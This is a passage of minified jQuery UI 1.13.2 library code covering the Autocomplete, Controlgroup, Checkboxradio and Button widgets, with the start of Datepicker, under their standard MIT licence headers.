r;this.active&&(r=n==="first"||n==="last"?this.active[n==="first"?"prevAll":"nextAll"](".ui-menu-item").last():this.active[n+"All"](".ui-menu-item").first());r&&r.length&&this.active||(r=this._menuItems(this.activeMenu)[t]());this.focus(i,r)},nextPage:function(t){var i,u,r;if(!this.active){this.next(t);return}this.isLastItem()||(this._hasScroll()?(u=this.active.offset().top,r=this.element.innerHeight(),n.fn.jquery.indexOf("3.2.")===0&&(r+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.nextAll(".ui-menu-item").each(function(){return i=n(this),i.offset().top-u-r<0}),this.focus(t,i)):this.focus(t,this._menuItems(this.activeMenu)[this.active?"last":"first"]()))},previousPage:function(t){var i,u,r;if(!this.active){this.next(t);return}this.isFirstItem()||(this._hasScroll()?(u=this.active.offset().top,r=this.element.innerHeight(),n.fn.jquery.indexOf("3.2.")===0&&(r+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.prevAll(".ui-menu-item").each(function(){return i=n(this),i.offset().top-u+r>0}),this.focus(t,i)):this.focus(t,this._menuItems(this.activeMenu).first()))},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(t){this.active=this.active||n(t.target).closest(".ui-menu-item");var i={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(t,!0);this._trigger("select",t,i)},_filterMenuItems:function(t){var i=t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),r=new RegExp("^"+i,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function(){return r.test(String.prototype.trim.call(n(this).children(".ui-menu-item-wrapper").text()))})}});
/*!
 * jQuery UI Autocomplete 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.autocomplete",{version:"1.13.2",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,liveRegionTimer:null,_create:function(){var t,i,r,u=this.element[0].nodeName.toLowerCase(),f=u==="textarea",e=u==="input";this.isMultiLine=f||!e&&this._isContentEditable(this.element);this.valueMethod=this.element[f||e?"val":"text"];this.isNewMenu=!0;this._addClass("ui-autocomplete-input");this.element.attr("autocomplete","off");this._on(this.element,{keydown:function(u){if(this.element.prop("readOnly")){t=!0;r=!0;i=!0;return}t=!1;r=!1;i=!1;var f=n.ui.keyCode;switch(u.keyCode){case f.PAGE_UP:t=!0;this._move("previousPage",u);break;case f.PAGE_DOWN:t=!0;this._move("nextPage",u);break;case f.UP:t=!0;this._keyEvent("previous",u);break;case f.DOWN:t=!0;this._keyEvent("next",u);break;case f.ENTER:this.menu.active&&(t=!0,u.preventDefault(),this.menu.select(u));break;case f.TAB:this.menu.active&&this.menu.select(u);break;case f.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(u),u.preventDefault());break;default:i=!0;this._searchTimeout(u)}},keypress:function(r){if(t){t=!1;(!this.isMultiLine||this.menu.element.is(":visible"))&&r.preventDefault();return}if(!i){var u=n.ui.keyCode;switch(r.keyCode){case u.PAGE_UP:this._move("previousPage",r);break;case u.PAGE_DOWN:this._move("nextPage",r);break;case u.UP:this._keyEvent("previous",r);break;case u.DOWN:this._keyEvent("next",r)}}},input:function(n){if(r){r=!1;n.preventDefault();return}this._searchTimeout(n)},focus:function(){this.selectedItem=null;this.previous=this._value()},blur:function(n){clearTimeout(this.searching);this.close(n);this._change(n)}});this._initSource();this.menu=n("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().attr({unselectable:"on"}).menu("instance");this._addClass(this.menu.element,"ui-autocomplete","ui-front");this._on(this.menu.element,{mousedown:function(n){n.preventDefault()},menufocus:function(t,i){var r,u;if(this.isNewMenu&&(this.isNewMenu=!1,t.originalEvent&&/^mouse/.test(t.originalEvent.type))){this.menu.blur();this.document.one("mousemove",function(){n(t.target).trigger(t.originalEvent)});return}u=i.item.data("ui-autocomplete-item");!1!==this._trigger("focus",t,{item:u})&&t.originalEvent&&/^key/.test(t.originalEvent.type)&&this._value(u.value);r=i.item.attr("aria-label")||u.value;r&&String.prototype.trim.call(r).length&&(clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(n("<div>").text(r))},100))},menuselect:function(t,i){var r=i.item.data("ui-autocomplete-item"),u=this.previous;this.element[0]!==n.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=u,this._delay(function(){this.previous=u;this.selectedItem=r}));!1!==this._trigger("select",t,{item:r})&&this._value(r.value);this.term=this._value();this.close(t);this.selectedItem=r}});this.liveRegion=n("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body);this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible");this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching);this.element.removeAttr("autocomplete");this.menu.element.remove();this.liveRegion.remove()},_setOption:function(n,t){this._super(n,t);n==="source"&&this._initSource();n==="appendTo"&&this.menu.element.appendTo(this._appendTo());n==="disabled"&&t&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(t){var i=this.menu.element[0];return t.target===this.element[0]||t.target===i||n.contains(i,t.target)},_closeOnClickOutside:function(n){this._isEventTargetInWidget(n)||this.close()},_appendTo:function(){var t=this.options.appendTo;return t&&(t=t.jquery||t.nodeType?n(t):this.document.find(t).eq(0)),t&&t[0]||(t=this.element.closest(".ui-front, dialog")),t.length||(t=this.document[0].body),t},_initSource:function(){var i,r,t=this;Array.isArray(this.options.source)?(i=this.options.source,this.source=function(t,r){r(n.ui.autocomplete.filter(i,t.term))}):typeof this.options.source=="string"?(r=this.options.source,this.source=function(i,u){t.xhr&&t.xhr.abort();t.xhr=n.ajax({url:r,data:i,dataType:"json",success:function(n){u(n)},error:function(){u([])}})}):this.source=this.options.source},_searchTimeout:function(n){clearTimeout(this.searching);this.searching=this._delay(function(){var t=this.term===this._value(),i=this.menu.element.is(":visible"),r=n.altKey||n.ctrlKey||n.metaKey||n.shiftKey;t&&(!t||i||r)||(this.selectedItem=null,this.search(null,n))},this.options.delay)},search:function(n,t){return(n=n!=null?n:this._value(),this.term=this._value(),n.length<this.options.minLength)?this.close(t):this._trigger("search",t)===!1?void 0:this._search(n)},_search:function(n){this.pending++;this._addClass("ui-autocomplete-loading");this.cancelSearch=!1;this.source({term:n},this._response())},_response:function(){var n=++this.requestIndex;return function(t){n===this.requestIndex&&this.__response(t);this.pending--;this.pending||this._removeClass("ui-autocomplete-loading")}.bind(this)},__response:function(n){n&&(n=this._normalize(n));this._trigger("response",null,{content:n});!this.options.disabled&&n&&n.length&&!this.cancelSearch?(this._suggest(n),this._trigger("open")):this._close()},close:function(n){this.cancelSearch=!0;this._close(n)},_close:function(n){this._off(this.document,"mousedown");this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",n))},_change:function(n){this.previous!==this._value()&&this._trigger("change",n,{item:this.selectedItem})},_normalize:function(t){return t.length&&t[0].label&&t[0].value?t:n.map(t,function(t){return typeof t=="string"?{label:t,value:t}:n.extend({},t,{label:t.label||t.value,value:t.value||t.label})})},_suggest:function(t){var i=this.menu.element.empty();this._renderMenu(i,t);this.isNewMenu=!0;this.menu.refresh();i.show();this._resizeMenu();i.position(n.extend({"of":this.element},this.options.position));this.options.autoFocus&&this.menu.next();this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var n=this.menu.element;n.outerWidth(Math.max(n.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(t,i){var r=this;n.each(i,function(n,i){r._renderItemData(t,i)})},_renderItemData:function(n,t){return this._renderItem(n,t).data("ui-autocomplete-item",t)},_renderItem:function(t,i){return n("<li>").append(n("<div>").text(i.label)).appendTo(t)},_move:function(n,t){if(!this.menu.element.is(":visible")){this.search(null,t);return}if(this.menu.isFirstItem()&&/^previous/.test(n)||this.menu.isLastItem()&&/^next/.test(n)){this.isMultiLine||this._value(this.term);this.menu.blur();return}this.menu[n](t)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(n,t){(!this.isMultiLine||this.menu.element.is(":visible"))&&(this._move(n,t),t.preventDefault())},_isContentEditable:function(n){if(!n.length)return!1;var t=n.prop("contentEditable");return t==="inherit"?this._isContentEditable(n.parent()):t==="true"}});n.extend(n.ui.autocomplete,{escapeRegex:function(n){return n.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(t,i){var r=new RegExp(n.ui.autocomplete.escapeRegex(i),"i");return n.grep(t,function(n){return r.test(n.label||n.value||n)})}});n.widget("ui.autocomplete",n.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(n){return n+(n>1?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(t){var i;(this._superApply(arguments),this.options.disabled||this.cancelSearch)||(i=t&&t.length?this.options.messages.results(t.length):this.options.messages.noResults,clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(n("<div>").text(i))},100))}});rr=n.ui.autocomplete;
/*!
 * jQuery UI Controlgroup 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
ut=/ui-corner-([a-z]){2,6}/g;ur=n.widget("ui.controlgroup",{version:"1.13.2",defaultElement:"<div>",options:{direction:"horizontal",disabled:null,onlyVisible:!0,items:{button:"input[type=button], input[type=submit], input[type=reset], button, a",controlgroupLabel:".ui-controlgroup-label",checkboxradio:"input[type='checkbox'], input[type='radio']",selectmenu:"select",spinner:".ui-spinner-input"}},_create:function(){this._enhance()},_enhance:function(){this.element.attr("role","toolbar");this.refresh()},_destroy:function(){this._callChildMethod("destroy");this.childWidgets.removeData("ui-controlgroup-data");this.element.removeAttr("role");this.options.items.controlgroupLabel&&this.element.find(this.options.items.controlgroupLabel).find(".ui-controlgroup-label-contents").contents().unwrap()},_initWidgets:function(){var t=this,i=[];n.each(this.options.items,function(r,u){var f,e={};if(u){if(r==="controlgroupLabel"){f=t.element.find(u);f.each(function(){var t=n(this);t.children(".ui-controlgroup-label-contents").length||t.contents().wrapAll("<span class='ui-controlgroup-label-contents'><\/span>")});t._addClass(f,null,"ui-widget ui-widget-content ui-state-default");i=i.concat(f.get());return}n.fn[r]&&(e=t["_"+r+"Options"]?t["_"+r+"Options"]("middle"):{classes:{}},t.element.find(u).each(function(){var u=n(this),f=u[r]("instance"),o=n.widget.extend({},e),s;r==="button"&&u.parent(".ui-spinner").length||(f||(f=u[r]()[r]("instance")),f&&(o.classes=t._resolveClassesValues(o.classes,f)),u[r](o),s=u[r]("widget"),n.data(s[0],"ui-controlgroup-data",f?f:u[r]("instance")),i.push(s[0]))}))}});this.childWidgets=n(n.uniqueSort(i));this._addClass(this.childWidgets,"ui-controlgroup-item")},_callChildMethod:function(t){this.childWidgets.each(function(){var r=n(this),i=r.data("ui-controlgroup-data");i&&i[t]&&i[t]()})},_updateCornerClass:function(n,t){var i=this._buildSimpleOptions(t,"label").classes.label;this._removeClass(n,null,"ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all");this._addClass(n,null,i)},_buildSimpleOptions:function(n,t){var i=this.options.direction==="vertical",r={classes:{}};return r.classes[t]={middle:"",first:"ui-corner-"+(i?"top":"left"),last:"ui-corner-"+(i?"bottom":"right"),only:"ui-corner-all"}[n],r},_spinnerOptions:function(n){var t=this._buildSimpleOptions(n,"ui-spinner");return t.classes["ui-spinner-up"]="",t.classes["ui-spinner-down"]="",t},_buttonOptions:function(n){return this._buildSimpleOptions(n,"ui-button")},_checkboxradioOptions:function(n){return this._buildSimpleOptions(n,"ui-checkboxradio-label")},_selectmenuOptions:function(n){var t=this.options.direction==="vertical";return{width:t?"auto":!1,classes:{middle:{"ui-selectmenu-button-open":"","ui-selectmenu-button-closed":""},first:{"ui-selectmenu-button-open":"ui-corner-"+(t?"top":"tl"),"ui-selectmenu-button-closed":"ui-corner-"+(t?"top":"left")},last:{"ui-selectmenu-button-open":t?"":"ui-corner-tr","ui-selectmenu-button-closed":"ui-corner-"+(t?"bottom":"right")},only:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"}}[n]}},_resolveClassesValues:function(t,i){var r={};return n.each(t,function(n){var u=i.options.classes[n]||"";u=String.prototype.trim.call(u.replace(ut,""));r[n]=(u+" "+t[n]).replace(/\s+/g," ")}),r},_setOption:function(n,t){if(n==="direction"&&this._removeClass("ui-controlgroup-"+this.options.direction),this._super(n,t),n==="disabled"){this._callChildMethod(t?"disable":"enable");return}this.refresh()},refresh:function(){var t,i=this;this._addClass("ui-controlgroup ui-controlgroup-"+this.options.direction);this.options.direction==="horizontal"&&this._addClass(null,"ui-helper-clearfix");this._initWidgets();t=this.childWidgets;this.options.onlyVisible&&(t=t.filter(":visible"));t.length&&(n.each(["first","last"],function(n,r){var u=t[r]().data("ui-controlgroup-data"),f;u&&i["_"+u.widgetName+"Options"]?(f=i["_"+u.widgetName+"Options"](t.length===1?"only":r),f.classes=i._resolveClassesValues(f.classes,u),u.element[u.widgetName](f)):i._updateCornerClass(t[r](),r)}),this._callChildMethod("refresh"))}});
/*!
 * jQuery UI Checkboxradio 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.checkboxradio",[n.ui.formResetMixin,{version:"1.13.2",options:{disabled:null,label:null,icon:!0,classes:{"ui-checkboxradio-label":"ui-corner-all","ui-checkboxradio-icon":"ui-corner-all"}},_getCreateOptions:function(){var t,i,r,u=this._super()||{};return this._readType(),i=this.element.labels(),this.label=n(i[i.length-1]),this.label.length||n.error("No label found for checkboxradio widget"),this.originalLabel="",r=this.label.contents().not(this.element[0]),r.length&&(this.originalLabel+=r.clone().wrapAll("<div><\/div>").parent().html()),this.originalLabel&&(u.label=this.originalLabel),t=this.element[0].disabled,t!=null&&(u.disabled=t),u},_create:function(){var n=this.element[0].checked;this._bindFormResetHandler();this.options.disabled==null&&(this.options.disabled=this.element[0].disabled);this._setOption("disabled",this.options.disabled);this._addClass("ui-checkboxradio","ui-helper-hidden-accessible");this._addClass(this.label,"ui-checkboxradio-label","ui-button ui-widget");this.type==="radio"&&this._addClass(this.label,"ui-checkboxradio-radio-label");this.options.label&&this.options.label!==this.originalLabel?this._updateLabel():this.originalLabel&&(this.options.label=this.originalLabel);this._enhance();n&&this._addClass(this.label,"ui-checkboxradio-checked","ui-state-active");this._on({change:"_toggleClasses",focus:function(){this._addClass(this.label,null,"ui-state-focus ui-visual-focus")},blur:function(){this._removeClass(this.label,null,"ui-state-focus ui-visual-focus")}})},_readType:function(){var t=this.element[0].nodeName.toLowerCase();this.type=this.element[0].type;t==="input"&&/radio|checkbox/.test(this.type)||n.error("Can't create checkboxradio on element.nodeName="+t+" and element.type="+this.type)},_enhance:function(){this._updateIcon(this.element[0].checked)},widget:function(){return this.label},_getRadioGroup:function(){var t,i=this.element[0].name,r="input[name='"+n.escapeSelector(i)+"']";return i?(t=this.form.length?n(this.form[0].elements).filter(r):n(r).filter(function(){return n(this)._form().length===0}),t.not(this.element)):n([])},_toggleClasses:function(){var t=this.element[0].checked;this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",t);this.options.icon&&this.type==="checkbox"&&this._toggleClass(this.icon,null,"ui-icon-check ui-state-checked",t)._toggleClass(this.icon,null,"ui-icon-blank",!t);this.type==="radio"&&this._getRadioGroup().each(function(){var t=n(this).checkboxradio("instance");t&&t._removeClass(t.label,"ui-checkboxradio-checked","ui-state-active")})},_destroy:function(){this._unbindFormResetHandler();this.icon&&(this.icon.remove(),this.iconSpace.remove())},_setOption:function(n,t){if(n!=="label"||t){if(this._super(n,t),n==="disabled"){this._toggleClass(this.label,null,"ui-state-disabled",t);this.element[0].disabled=t;return}this.refresh()}},_updateIcon:function(t){var i="ui-icon ui-icon-background ";this.options.icon?(this.icon||(this.icon=n("<span>"),this.iconSpace=n("<span> <\/span>"),this._addClass(this.iconSpace,"ui-checkboxradio-icon-space")),this.type==="checkbox"?(i+=t?"ui-icon-check ui-state-checked":"ui-icon-blank",this._removeClass(this.icon,null,t?"ui-icon-blank":"ui-icon-check")):i+="ui-icon-blank",this._addClass(this.icon,"ui-checkboxradio-icon",i),t||this._removeClass(this.icon,null,"ui-icon-check ui-state-checked"),this.icon.prependTo(this.label).after(this.iconSpace)):this.icon!==undefined&&(this.icon.remove(),this.iconSpace.remove(),delete this.icon)},_updateLabel:function(){var n=this.label.contents().not(this.element[0]);this.icon&&(n=n.not(this.icon[0]));this.iconSpace&&(n=n.not(this.iconSpace[0]));n.remove();this.label.append(this.options.label)},refresh:function(){var n=this.element[0].checked,t=this.element[0].disabled;this._updateIcon(n);this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",n);this.options.label!==null&&this._updateLabel();t!==this.options.disabled&&this._setOptions({disabled:t})}}]);fr=n.ui.checkboxradio;
/*!
 * jQuery UI Button 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.button",{version:"1.13.2",defaultElement:"<button>",options:{classes:{"ui-button":"ui-corner-all"},disabled:null,icon:null,iconPosition:"beginning",label:null,showLabel:!0},_getCreateOptions:function(){var n,t=this._super()||{};return this.isInput=this.element.is("input"),n=this.element[0].disabled,n!=null&&(t.disabled=n),this.originalLabel=this.isInput?this.element.val():this.element.html(),this.originalLabel&&(t.label=this.originalLabel),t},_create:function(){!this.option.showLabel&!this.options.icon&&(this.options.showLabel=!0);this.options.disabled==null&&(this.options.disabled=this.element[0].disabled||!1);this.hasTitle=!!this.element.attr("title");this.options.label&&this.options.label!==this.originalLabel&&(this.isInput?this.element.val(this.options.label):this.element.html(this.options.label));this._addClass("ui-button","ui-widget");this._setOption("disabled",this.options.disabled);this._enhance();this.element.is("a")&&this._on({keyup:function(t){t.keyCode===n.ui.keyCode.SPACE&&(t.preventDefault(),this.element[0].click?this.element[0].click():this.element.trigger("click"))}})},_enhance:function(){this.element.is("button")||this.element.attr("role","button");this.options.icon&&(this._updateIcon("icon",this.options.icon),this._updateTooltip())},_updateTooltip:function(){this.title=this.element.attr("title");this.options.showLabel||this.title||this.element.attr("title",this.options.label)},_updateIcon:function(t,i){var u=t!=="iconPosition",r=u?this.options.iconPosition:i,f=r==="top"||r==="bottom";this.icon?u&&this._removeClass(this.icon,null,this.options.icon):(this.icon=n("<span>"),this._addClass(this.icon,"ui-button-icon","ui-icon"),this.options.showLabel||this._addClass("ui-button-icon-only"));u&&this._addClass(this.icon,null,i);this._attachIcon(r);f?(this._addClass(this.icon,null,"ui-widget-icon-block"),this.iconSpace&&this.iconSpace.remove()):(this.iconSpace||(this.iconSpace=n("<span> <\/span>"),this._addClass(this.iconSpace,"ui-button-icon-space")),this._removeClass(this.icon,null,"ui-wiget-icon-block"),this._attachIconSpace(r))},_destroy:function(){this.element.removeAttr("role");this.icon&&this.icon.remove();this.iconSpace&&this.iconSpace.remove();this.hasTitle||this.element.removeAttr("title")},_attachIconSpace:function(n){this.icon[/^(?:end|bottom)/.test(n)?"before":"after"](this.iconSpace)},_attachIcon:function(n){this.element[/^(?:end|bottom)/.test(n)?"append":"prepend"](this.icon)},_setOptions:function(n){var t=n.showLabel===undefined?this.options.showLabel:n.showLabel,i=n.icon===undefined?this.options.icon:n.icon;t||i||(n.showLabel=!0);this._super(n)},_setOption:function(n,t){n==="icon"&&(t?this._updateIcon(n,t):this.icon&&(this.icon.remove(),this.iconSpace&&this.iconSpace.remove()));n==="iconPosition"&&this._updateIcon(n,t);n==="showLabel"&&(this._toggleClass("ui-button-icon-only",null,!t),this._updateTooltip());n==="label"&&(this.isInput?this.element.val(t):(this.element.html(t),this.icon&&(this._attachIcon(this.options.iconPosition),this._attachIconSpace(this.options.iconPosition))));this._super(n,t);n==="disabled"&&(this._toggleClass(null,"ui-state-disabled",t),this.element[0].disabled=t,t&&this.element.trigger("blur"))},refresh:function(){var n=this.element.is("input, button")?this.element[0].disabled:this.element.hasClass("ui-button-disabled");n!==this.options.disabled&&this._setOptions({disabled:n});this._updateTooltip()}});n.uiBackCompat!==!1&&(n.widget("ui.button",n.ui.button,{options:{text:!0,icons:{primary:null,secondary:null}},_create:function(){this.options.showLabel&&!this.options.text&&(this.options.showLabel=this.options.text);!this.options.showLabel&&this.options.text&&(this.options.text=this.options.showLabel);!this.options.icon&&(this.options.icons.primary||this.options.icons.secondary)?this.options.icons.primary?this.options.icon=this.options.icons.primary:(this.options.icon=this.options.icons.secondary,this.options.iconPosition="end"):this.options.icon&&(this.options.icons.primary=this.options.icon);this._super()},_setOption:function(n,t){if(n==="text"){this._super("showLabel",t);return}n==="showLabel"&&(this.options.text=t);n==="icon"&&(this.options.icons.primary=t);n==="icons"&&(t.primary?(this._super("icon",t.primary),this._super("iconPosition","beginning")):t.secondary&&(this._super("icon",t.secondary),this._super("iconPosition","end")));this._superApply(arguments)}}),n.fn.button=function(t){return function(i){var f=typeof i=="string",u=Array.prototype.slice.call(arguments,1),r=this;return f?this.length||i!=="instance"?this.each(function(){var t,e=n(this).attr("type"),o=e!=="checkbox"&&e!=="radio"?"button":"checkboxradio",f=n.data(this,"ui-"+o);return i==="instance"?(r=f,!1):f?typeof f[i]!="function"||i.charAt(0)==="_"?n.error("no such method '"+i+"' for button widget instance"):(t=f[i].apply(f,u),t!==f&&t!==undefined?(r=t&&t.jquery?r.pushStack(t.get()):t,!1):void 0):n.error("cannot call methods on button prior to initialization; attempted to call method '"+i+"'")}):r=undefined:(u.length&&(i=n.widget.extend.apply(null,[i].concat(u))),this.each(function(){var u=n(this).attr("type"),f=u!=="checkbox"&&u!=="radio"?"button":"checkboxradio",r=n.data(this,"ui-"+f);if(r)r.option(i||{}),r._init&&r._init();else{if(f==="button"){t.call(n(this),i);return}n(this).checkboxradio(n.extend({icon:!1},i))}})),r}}(n.fn.button),n.fn.buttonset=function(){return(n.ui.controlgroup||n.error("Controlgroup widget missing"),arguments[0]==="option"&&arguments[1]==="items"&&arguments[2])?this.controlgroup.apply(this,[arguments[0],"items.button",arguments[2]]):arguments[0]==="option"&&arguments[1]==="items"?this.controlgroup.apply(this,[arguments[0],"items.button"]):(typeof arguments[0]=="object"&&arguments[0].items&&(arguments[0].items={button:arguments[0].items}),this.controlgroup.apply(this,arguments))});er=n.ui.button;
/*!
 * jQuery UI Datepicker 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.extend(n.ui,{datepicker:{version:"1.13.2"}});n.extend(ft.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(n){return a(this._defaults,n||{}),this},_attachDatepicker:function(t,i){var r,f,u;r=t.nodeName.toLowerCase();f=r==="div"||r==="span";t.id||(this.uuid+=1,t.id="dp"+this.uuid);u=this._newInst(n(t),f);u.settings=n.extend({},i||{});r==="input"?this._connectDatepicker(t,u):f&&this._inlineDatepicker(t,u)},_newInst:function(t,i){var r=t[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1");return{id:r,input:t,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:i,dpDiv:i?et(n("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'><\/div>")):this.dpDiv}},_connectDatepicker:function(t,i){var r=n(t);if(i.append=n([]),i.trigger=n([]),!r.hasClass(this.markerClassName)){this._attachments(r,i);r.addClass(this.markerClassName).on("keydown",this._doKeyDown).on("keypress",this._doKeyPress).on("keyup",this._doKeyUp);this._autoSize(i);n.data(t,"datepicker",i);i.settings.disabled&&this._disableDatepicker(t)}},_attachments:function(t,i){var u,r,f,e=this._get(i,"appendText"),o=this._get(i,"isRTL");if(i.append&&i.append.remove(),e&&(i.append=n("<span>").addClass(this._appendClass).text(e),t[o?"before":"after"](i.append)),t.off("focus",this._showDatepicker),i.trigger&&i.trigger.remove(),u=this._get(i,"showOn"),u==="focus"||u==="both")t.on("focus",this._showDatepicker);if(u==="button"||u==="both"){r=this._get(i,"buttonText");f=this._get(i,"buttonImage");this._get(i,"buttonImageOnly")?i.trigger=n("<img>").addClass(this._triggerClass).attr({src:f,alt:r,title:r}):(i.trigger=n("<button type='button'>").addClass(this._triggerClass),f?i.trigger.html(n("<img>").attr({src:f,alt:r,title:r})):i.trigger.text(r));t[o?"before":"after"](i.trigger);i.trigger.on("click",function(){return n.datepicker._datepickerShowing&&n.datepicker._lastInput===t[0]?n.datepicker._hideDatepicker():n.datepicker._datepickerShowing&&n.datepicker._lastInput!==t[0]?(n.datepicker._hideDatepicker(),n.datepicker._showDatepicker(t[0])):n.datepicker._showDatepicker(t[0]),!1})}},_autoSize:function(n){if(this._get(n,"autoSize")&&!n.inline){var r,u,f,t,i=new Date(2009,11,20),e=this._get(n,"dateFormat");e.match(/[DM]/)&&(r=function(n){for(u=0,f=0,t=0;t<n.length;t++)n[t].length>u&&(u=n[t].length,f=t);return f},i.setMonth(r(this._get(n,e.match(/MM/)?"monthNames":"monthNamesShort"))),i.setDate(r(this._get(n,e.match(/DD/)?"dayNames":"dayNamesShort"))+20-i.getDay()));n.input.attr("size",this._formatDate(n,i).length)}},_inlineDatepicker:function(t,i){var r=n(t);r.hasClass(this.markerClassName)||(r.addClass(this.markerClassName).append(i.dpDiv),n.data(t,"datepicker",i),this._setDate(i,this._getDefaultDate(i),!0),this._updateDatepicker(i),this._updateAlternate(i),i.settings.disabled&&this._disableDatepicker(t),i.dpDiv.css("display","block"))},_dialogDatepicker:function(t,i,r,u,f){var o,s,h,c,l,e=this._dialogInst;if(!e){this.uuid+=1;o="dp"+this.uuid;this._dialogInput=n("<input type='text' id='"+o+"' style='position: absolute; top: -100px; width: 0px;'/>");this._dialogInput.on("keydown",this._doKeyDown);n("body").append(this._dialogInput);e=this._dialogInst=this._newInst(this._dialogInput,!1);e.settings={};n.data(this._dialogInput[0],"datepicker",e)}return a(e.settings,u||{}),i=i&&i.constructor===Date?this._formatDate(e,i):i,this._dialogInput.val(i),this._pos=f?f.length?f:[f.pageX,f.pageY]:null,this._pos||(s=document.documentElement.clientWidth,h=document.documentElement.clientHeight,c=document.documentElement.scrollLeft||document.body.scrollLeft,l=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[s/2-100+c,h/2-150+l]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),e.settings.onSelect=r,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),n.blockUI&&n.blockUI(this.dpDiv),n.data(this._dialogInput[0],"datepicker",e),this},_destroyDatepicker:function(t){var i,r=n(t),u=n.data(t,"datepicker");r.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),n.removeData(t,"datepicker"),i==="input"?(u.append.remove(),u.trigger.remove(),r.removeClass(this.markerClassName).off("focus",this._showDatepicker).off("keydown",this._doKeyDown).off("keypress",this._doKeyPress).off("keyup",this._doKeyUp)):(i==="div"||i==="span")&&r.removeClass(this.markerClassName).empty(),f===u&&(f=null,this._curInst=null))},_enableDatepicker:function(t){var i,r,u=n(t),f=n.data(t,"datepicker");u.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),i==="input"?(t.disabled=!1,f.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):(i==="div"||i==="span")&&(r=u.children("."+this._inlineClass),r.children().removeClass("ui-state-disabled"),r.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=n.map(this._disabledInputs,function(n){return n===t?null:n}))},_disableDatepicker:function(t){var i,r,u=n(t),f=n.data(t,"datepicker");u.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),i==="input"?(t.disabled=!0,f.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):(i==="div"||i==="span")&&(r=u.children("."+this._inlineClass),r.children().addClass("ui-state-disabled"),r.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=n.map(this._disabledInputs,function(n){return n===t?null:n}),this._disabledInputs[this._disabledInputs.length]=t)},_isDisabledDatepicker:function(n){if(!n)return!1;for(var t=0;t<this._disabledInputs.length;t++)if(this._disabledInputs[t]===n)return!0;return!1},_getInst:function(t){try{return n.data(t,"datepicker")}catch(i){throw"Missing instance data for this datepicker";}},_optionDatepicker:function(t,i,r){var f,s,e,o,u=this._getInst(t);if(arguments.length===2&&typeof i=="string")return i==="defaults"?n.extend({},n.datepicker._defaults):u?i==="all"?n.extend({},u.settings):this._get(u,i):null;f=i||{};typeof i=="string"&&(f={},f[i]=r);u&&(this._curInst===u&&this._hideDatepicker(),s=this._getDateDatepicker(t,!0),e=this._getMinMaxDate(u,"min"),o=this._getMinMaxDate(u,"max"),a(u.settings,f),e!==null&&f.dateFormat!==undefined&&f.minDate===undefined&&(u.settings.minDate=this._formatDate(u,e)),o!==null&&f.dateFormat!==undefined&&f.maxDate===undefined&&(u.settings.maxDate=this._formatDate(u,o)),"disabled"in 